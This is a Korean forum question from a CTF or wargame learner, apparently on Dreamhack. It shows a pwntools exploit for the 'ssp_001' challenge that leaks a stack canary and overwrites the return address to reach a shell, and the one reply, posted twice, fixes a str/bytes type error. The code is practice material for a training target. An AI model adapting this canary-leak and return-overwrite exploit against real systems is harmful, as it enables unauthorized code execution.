TypeError: can only concatenate str (not "bytes") to str 오류..

canary += p.recv(2)
TypeError: can only concatenate str (not "bytes") to str

자꾸 이런 오류가 뜹니다.. 왜 그러는 걸까요??

전체 exploit 코드는 다음과 같습니다
from pwn import *

p = remote('host3.dreamhack.games', 16228)

e = ELF('./ssp_001')
canary = ''
get_shell = e.symbols['get_shell']

#canary 구하기
for i in range(131, 127, -1): #box + 128 + 4, little endian
p.sendafter('>', 'P')
p.sendlineafter('Element index :', bytes(str(i), 'utf-8'))
p.recvuntil(':')
canary += p.recv(2)
#canary += chr(int(p.recvline().strip(),16))
canary = int(canary, 16) #16진수 문자열을 10진수 정수로 변경
log.info('[+]canary: 0x%x' %canary)

payload = b'A'* 0x40 #name[64]
payload += p32(canary) #canary
payload += b'B'*8 #dummy+ebp
payload += p32(get_shell) #ret overload

p.sendafter('>', 'E')
p.sendlineafter('Name Size :', '200')
p.sendafter('Name :', payload)
p.interactive()

#pwnable
작성자 정보
답변 2
avatar
qkrthfals
공부벌레

str 자료형인 canary 변수에 bytes 자료형인 데이터를 추가해서 생기는 오류 같습니다.
canary = '' 을
canary = b'' 로 수정해서 다시 시도해보세요.

2024.03.31. 17:05
avatar
qkrthfals
공부벌레

str 자료형인 canary 변수에 bytes 자료형인 데이터를 추가해서 생기는 오류 같습니다.
canary = '' 을
canary = b'' 로 수정해서 다시 시도해보세요.

2024.03.31. 17:05
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기